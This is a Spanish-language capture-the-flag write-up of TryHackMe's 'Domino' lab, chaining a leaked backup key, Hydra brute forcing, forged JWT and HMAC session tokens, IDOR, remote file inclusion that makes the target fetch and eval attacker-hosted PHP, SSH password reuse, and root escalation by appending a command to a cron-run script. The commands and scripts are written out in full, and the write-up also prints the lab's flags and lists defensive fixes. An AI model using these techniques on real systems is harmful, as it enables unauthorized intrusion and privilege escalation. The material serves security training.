← Proyectos

TryHackMe: Domino — Writeup

  • 9 min de lectura
  • Ciberseguridad

De un backup expuesto a root: contraseña débil, JWT sin firma, IDOR, falsificación de sesión, RCE y escalada de privilegios. Cinco de cinco flags.

Plataforma
TryHackMe
Objetivo
NexusCorp Employee Portal (laboratorio autorizado)
Máquina atacante
TryHackMe AttackBox
Máquina objetivo
Ubuntu Linux / Apache 2.4.58
Resultado
5 de 5 flags recuperadas
En esta página

1. Descripción y objetivos

Domino plantea una aplicación corporativa aparentemente protegida por autenticación y roles. El objetivo es identificar errores de configuración y lógica que, combinados, permitan avanzar desde el reconocimiento externo hasta ejecutar instrucciones con privilegios elevados.

Debíamos encontrar cinco flags: en las notas del perfil del administrador, en el panel de administración, en /opt/flag3.txt, en el directorio personal de devops y, finalmente, en el entorno de root.

La metodología seguida fue: reconocimiento → enumeración → análisis de autenticación → pruebas de autorización → acceso administrativo → RCE → acceso SSH → escalada de privilegios.

2. Herramientas utilizadas

  • Nmap: identificación de puertos, servicios y versiones.
  • Dirsearch: enumeración de rutas y archivos web.
  • Firefox Developer Tools: inspección de solicitudes HTTP, cookies y respuestas.
  • curl y jq: peticiones HTTP y lectura de respuestas JSON.
  • Hydra y RockYou: pruebas de credenciales en el laboratorio.
  • Python 3 y PyCryptodome: descifrado AES, análisis de JWT y generación de cookies HMAC.
  • SSH y comandos Linux: enumeración local y comprobación de privilegios.

3. Reconocimiento: escaneo de puertos

Comenzamos con un escaneo de los puertos TCP más habituales y detección de versiones:

nmap -sV -sC -oN nmap_initial.txt 10.66.131.69

-sV identifica versiones; -sC ejecuta scripts por defecto; -oN guarda el resultado en texto.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.58
|_http-title: NexusCorp Portal

El escaneo inicial detectó SSH en el puerto 22 y HTTP en el 80. Esto no demostraba que solo existieran esos puertos abiertos, ya que no realizamos un escaneo de los 65.535 puertos TCP. La aplicación web era el punto de partida más relevante.

4. Enumeración web y exposición de backups

Al abrir el portal encontramos un formulario de autenticación, una página pública /team.php con nombres y correos corporativos y la recuperación de contraseñas en /forgot.php. El campo de usuario sugería el formato firstname.lastname.

dirsearch -u http://10.66.131.69/
301  /admin -> /admin/
403  /admin/
200  /api/
200  /backup/
200  /auth.php
200  /config.php
302  /dashboard.php -> /index.php

El directorio /backup/ permitía listar archivos sin autenticación. Contenía README.txt y config.enc. El README explicaba que la configuración estaba cifrada con AES-128-ECB y remitía a /static/app.js para consultar la referencia de la clave.

Listado público del directorio backup con README.txt y config.enc
Listado de archivos expuesto en /backup/.

En app.js apareció una clave pública en el código del cliente, acompañada de la instrucción para rellenarla con bytes nulos hasta 16 bytes. Descargamos el respaldo:

mkdir -p ~/domino
cd ~/domino
curl -o config.enc http://10.66.131.69/backup/config.enc
file config.enc

El archivo ocupaba 112 bytes; su longitud era compatible con siete bloques AES de 16 bytes. Para recuperarlo utilizamos el siguiente script:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key = b'N3xusK3y2024!!\x00\x00'
with open('config.enc', 'rb') as f:
    encrypted_data = f.read()

cipher = AES.new(key, AES.MODE_ECB)
plaintext = unpad(cipher.decrypt(encrypted_data), AES.block_size)
print(plaintext.decode('utf-8'))
{
  "app_name": "NexusCorp Portal",
  "version": "2.3.1",
  "deploy_env": "production",
  "system_user": "devops"
}

Hallazgo: el cifrado de una copia de seguridad no protegía su confidencialidad frente a quienes podían descargar tanto el archivo como su clave. La referencia al usuario devops sería relevante más adelante.

Código JavaScript público con referencia a la clave de cifrado
Clave de descifrado expuesta en JavaScript público.

5. Autenticación web y contraseña débil

Desde la pestaña Network de Firefox inspeccionamos el formulario. La solicitud era POST /index.php, con campos username y password. Ante credenciales incorrectas, el HTML contenía Invalid credentials, pese a responder 200 OK.

Primero reproducimos la solicitud con curl y después probamos una pequeña wordlist. Al comprobar que Hydra interpretaba correctamente el indicador de fallo, utilizamos RockYou para el usuario candidato robert.wilson:

hydra -l robert.wilson \
  -P /usr/share/wordlists/rockyou.txt \
  -t 2 -f -o hydra_robert.txt \
  10.66.131.69 http-post-form \
  "/index.php:username=^USER^&password=^PASS^:F=Invalid credentials"
[80][http-post-form] host: 10.66.131.69
login: robert.wilson
password: password

Validamos el resultado iniciando sesión manualmente. El dashboard mostró a Robert Wilson con rol user. La debilidad era una contraseña común, presente entre las primeras entradas de la wordlist.

Dashboard autenticado de Robert Wilson con rol user
Acceso inicial confirmado con la cuenta de Robert.

6. Manipulación de JWT y lectura de archivos internos

El dashboard mostraba dos endpoints: /api/auth/token.php para obtener un JWT y /api/files.php?name= para consultar archivos internos mediante Authorization: Bearer <token>.

Decodificamos el JWT original y encontramos las declaraciones sub: robert.wilson, role: user, iat y exp. Leer un JWT codificado en Base64URL no implica verificar su firma.

La API rechazaba el token original con el mensaje Admin JWT required. Construimos entonces un JWT de prueba con rol admin y una firma deliberadamente inválida. Al enviarlo, la API avanzó a la comprobación de rutas; al solicitar una ruta absoluta válida obtuvimos código fuente PHP.

TEST_TOKEN=$(cat test_admin.jwt)
curl -s \
  "http://10.65.158.144/api/files.php?name=/var/www/html/config.php" \
  -H "Authorization: Bearer $TEST_TOKEN" | jq .

Recuperamos config.php, que contenía la configuración de MySQL y secretos de aplicación, entre ellos JWT_SECRET y APP_SECRET. Posteriormente leímos auth.php, donde vimos que el código responsable de comprobar la firma JWT estaba comentado.

// Signature check intentionally disabled
// $expected = ...
// if (!hash_equals($parts[2], $expected)) return null;

Hallazgo: la aplicación confiaba en el rol declarado por un JWT sin verificar su firma y, además, exponía archivos fuente internos mediante la API. Los valores secretos se omiten en la versión pública de este writeup por buenas prácticas de documentación.

Acceso al archivo config.php usando JWT modificado con los secretos ocultos
Lectura de configuración interna con un JWT manipulado (secretos censurados).

7. IDOR en perfiles de usuario — Flag 1

Desde el dashboard se accedía al perfil de Robert a través de /api/users/profile.php?id=4. La API devolvía identificador, usuario, correo, rol y notas.

Manteniendo la cookie de Robert, cambiamos el valor id=4 por id=3 y obtuvimos datos de Sarah Johnson. Con id=1 recibimos el perfil de Laura Hayes, cuyo rol era admin y cuyas notas contenían la primera flag.

curl -s \
  "http://10.65.158.144/api/users/profile.php?id=1" \
  -H "Cookie: nexus_session=$SESSION_TEST" | jq .

Flag 1: THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1}

Hallazgo: IDOR/BOLA. El servidor entregaba información privada de otro usuario a una cuenta sin privilegios administrativos, simplemente cambiando el identificador numérico.

Respuesta JSON del perfil id 1 mostrando a Laura Hayes y la primera flag
Consulta de notas administrativas mediante IDOR.

El código de auth.php reveló que la cookie nexus_session seguía el formato base64(JSON).HMAC-SHA256. A diferencia de los JWT, su firma sí se verificaba con APP_SECRET, pero ese secreto ya había sido recuperado del archivo de configuración.

Decodificamos nuestra cookie legítima y comprobamos que contenía user_id: 4 para Robert. El servidor consultaba el rol real en la base de datos usando user_id, en lugar de confiar en el campo role proporcionado por el cliente.

Reprodujimos primero una cookie válida para Robert. Luego construimos otra para el identificador 1, correspondiente a Laura Hayes:

import base64, hashlib, hmac, json

# Leer la clave desde una ubicación local protegida, sin publicarla aquí
secret = open('app_secret.txt', 'rb').read().strip()
data = {"user_id": 1, "username": "laura.hayes", "role": "admin"}
encoded = base64.b64encode(json.dumps(data, separators=(',', ':')).encode()).decode()
signature = hmac.new(secret, encoded.encode(), hashlib.sha256).hexdigest()
open('session_admin.txt', 'w').write(encoded + '.' + signature)

La sesión generada fue aceptada por /dashboard.php e identificó a laura.hayes con rol admin. Después visitamos el panel:

ADMIN_SESSION=$(cat session_admin.txt)
curl -s "http://10.65.158.144/admin/index.php" \
  -H "Cookie: nexus_session=$ADMIN_SESSION"

Flag 2: THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}

Hallazgo: la exposición de la clave de firma permitió falsificar sesiones válidas de otros usuarios y conseguir acceso administrativo. No necesitábamos conocer la contraseña de Laura.

9. Inclusión remota de archivos y RCE — Flag 3

Utilizamos la API de archivos para leer su propio código: /var/www/html/api/files.php. Descubrimos que, si el parámetro name comenzaba con http:// o https://, el servidor descargaba su contenido y lo pasaba a eval().

if (strpos($name, "http://") === 0 || strpos($name, "https://") === 0) {
    $remote = @file_get_contents($name);
    ob_start();
    eval(str_replace("<?php", "", $remote));
    $output = ob_get_clean();
    echo json_encode(["output" => $output]);
    exit;
}

En la AttackBox creamos un archivo prueba.php que imprimía un marcador y lo servimos con:

python3 -m http.server 8888

Desde otra terminal enviamos la URL del archivo como valor de name:

curl -sG "http://10.65.158.144/api/files.php" \
  -H "Authorization: Bearer $TEST_TOKEN" \
  --data-urlencode "name=http://10.65.95.194:8888/prueba.php" | jq .
{ "output": "DOMINO_RCE_TEST_OK\n" }

La AttackBox registró un GET desde la máquina objetivo y la API devolvió la salida del código PHP. Después ejecutamos shell_exec('id') y confirmamos la identidad uid=33(www-data).

Finalmente consultamos los permisos de /opt/flag3.txt y pudimos leer el archivo como www-data.

Flag 3: THM{rf1_2_rc3_f00th0ld_fl4g3}

Identidad www-data, permisos de /opt/flag3.txt y tercera flag
Lectura de la tercera flag después de confirmar RCE como www-data.

10. Enumeración Linux y acceso a devops — Flag 4

Con ejecución remota como www-data enumeramos el servidor:

whoami
uname -a
getent passwd | grep '/home/'
ls -la /home
ls -la /opt

Confirmamos la existencia de devops, con UID 1001, shell /bin/bash y home /home/devops. Este directorio tenía permisos 750, por lo que nuestro proceso web no podía recorrerlo libremente.

En /opt/admin_bot.py encontramos una configuración de conexión a MySQL que reutilizaba la contraseña vista en config.php. Como el respaldo descifrado mencionaba un usuario del sistema devops y SSH estaba abierto, comprobamos si esa contraseña funcionaba para dicha cuenta Linux.

ssh devops@10.65.158.144
whoami
id
pwd
ls -la
cat /home/devops/user.txt

La autenticación SSH funcionó y conseguimos acceder como devops. En su directorio personal encontramos user.txt.

Flag 4: THM{ssh_cr3d_r3us3_l4t3r4l_fl4g4}

Hallazgo: reutilización de credenciales entre la base de datos de la aplicación y una cuenta del sistema con acceso SSH.

Sesión SSH como devops y lectura de user.txt
Acceso SSH a devops y recuperación de la cuarta flag.

11. Escalada a root mediante script privilegiado — Flag 5

Desde la sesión de devops, investigamos permisos de sudo, tareas cron, temporizadores systemd y archivos de monitorización. Encontramos:

-rwxrwxr-- 1 root devops /opt/monitoring/health_report.sh

El script comprobaba el estado de Apache, MySQL y el uso del disco; registraba su actividad en /var/log/nexus_health.log. El grupo devops tenía permisos para modificarlo.

El log mostraba ejecuciones aproximadamente cada minuto. No identificamos la configuración exacta del planificador en los archivos de cron o temporizadores examinados; sin embargo, una prueba posterior demostró que el script era ejecutado con privilegios de root.

En el laboratorio añadimos temporalmente una instrucción que copiaba la flag de root a un archivo accesible:

echo 'cat /root/root.txt > /tmp/domino_root_flag 2>/dev/null; chmod 644 /tmp/domino_root_flag 2>/dev/null' \
  >> /opt/monitoring/health_report.sh

Después de esperar la siguiente ejecución automática, consultamos:

ls -l /tmp/domino_root_flag
cat /tmp/domino_root_flag
-rw-r--r-- 1 root root 29 /tmp/domino_root_flag

El archivo temporal había sido creado por root y contenía la última flag. Esto demostró ejecución privilegiada del script, aunque no abrimos una shell interactiva de root.

Flag 5: THM{pr1v3sc_cr0n_r00t_fl4g5}

Hallazgo: una tarea privilegiada ejecutaba un script modificable por un usuario sin privilegios equivalentes, permitiendo ejecutar instrucciones con los permisos de root.

Archivo temporal generado por root y quinta flag
Ejecución privilegiada confirmada y última flag recuperada.

Al finalizar, corresponde restaurar el script modificado, retirando únicamente la instrucción añadida para la prueba.

12. Resumen de flags

  • Flag 1 — Notas del administrador: THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1}
  • Flag 2 — Panel administrativo: THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}
  • Flag 3 — RCE: THM{rf1_2_rc3_f00th0ld_fl4g3}
  • Flag 4 — devops: THM{ssh_cr3d_r3us3_l4t3r4l_fl4g4}
  • Flag 5 — root: THM{pr1v3sc_cr0n_r00t_fl4g5}

13. Vulnerabilidades y recomendaciones

  • Backup público y clave expuesta: impedir listados de directorios y almacenar respaldos y claves fuera del contenido web público.
  • Contraseña débil: aplicar contraseñas robustas, MFA cuando corresponda y controles de intentos de autenticación.
  • JWT sin firma verificada: validar firma, algoritmo permitido y claims antes de autorizar cualquier operación.
  • IDOR: comprobar en el servidor la autorización sobre cada perfil solicitado, no solo la autenticación.
  • Exposición de secretos: proteger archivos de configuración, rotar las claves comprometidas y evitar secretos reutilizados.
  • RFI con eval(): eliminar la ejecución de código descargado desde URLs proporcionadas por usuarios y limitar los archivos que la API puede servir.
  • Reutilización de contraseña: utilizar credenciales independientes para cuentas SSH y bases de datos.
  • Script ejecutado con privilegios: retirar permisos de escritura a usuarios no privilegiados y revisar periódicamente los servicios y tareas que se ejecutan como root.

14. Dificultades encontradas y lecciones aprendidas

Durante la investigación aparecieron errores que ayudaron a comprender mejor las herramientas. Cuando jq -r '.content' devolvió null, descubrimos que habíamos filtrado una respuesta JSON de error. El mensaje 401 Unauthorized posterior se debía a que $TEST_TOKEN estaba vacío; al cargarlo otra vez desde el archivo, la API respondió correctamente. También encontramos una redirección 302 porque nuestro script aún no había creado session_admin.txt.

Estos incidentes muestran la importancia de leer los mensajes originales, verificar variables y archivos antes de ejecutar peticiones, y cambiar una sola condición a la vez durante una prueba.

15. Conclusión

La room Domino demuestra que la seguridad de una aplicación depende de múltiples capas. La exposición de un respaldo, una contraseña débil, controles de autorización insuficientes y secretos comprometidos permitieron avanzar hacia el acceso administrativo. Después, la ejecución de PHP remoto facilitó acceso al sistema, la reutilización de credenciales permitió iniciar sesión por SSH como devops y un script modificable que se ejecutaba como root completó la cadena.

El aprendizaje más importante fue aplicar una metodología: observar, plantear hipótesis, realizar pruebas controladas, interpretar evidencias y documentar los resultados. El laboratorio concluyó con las cinco flags recuperadas.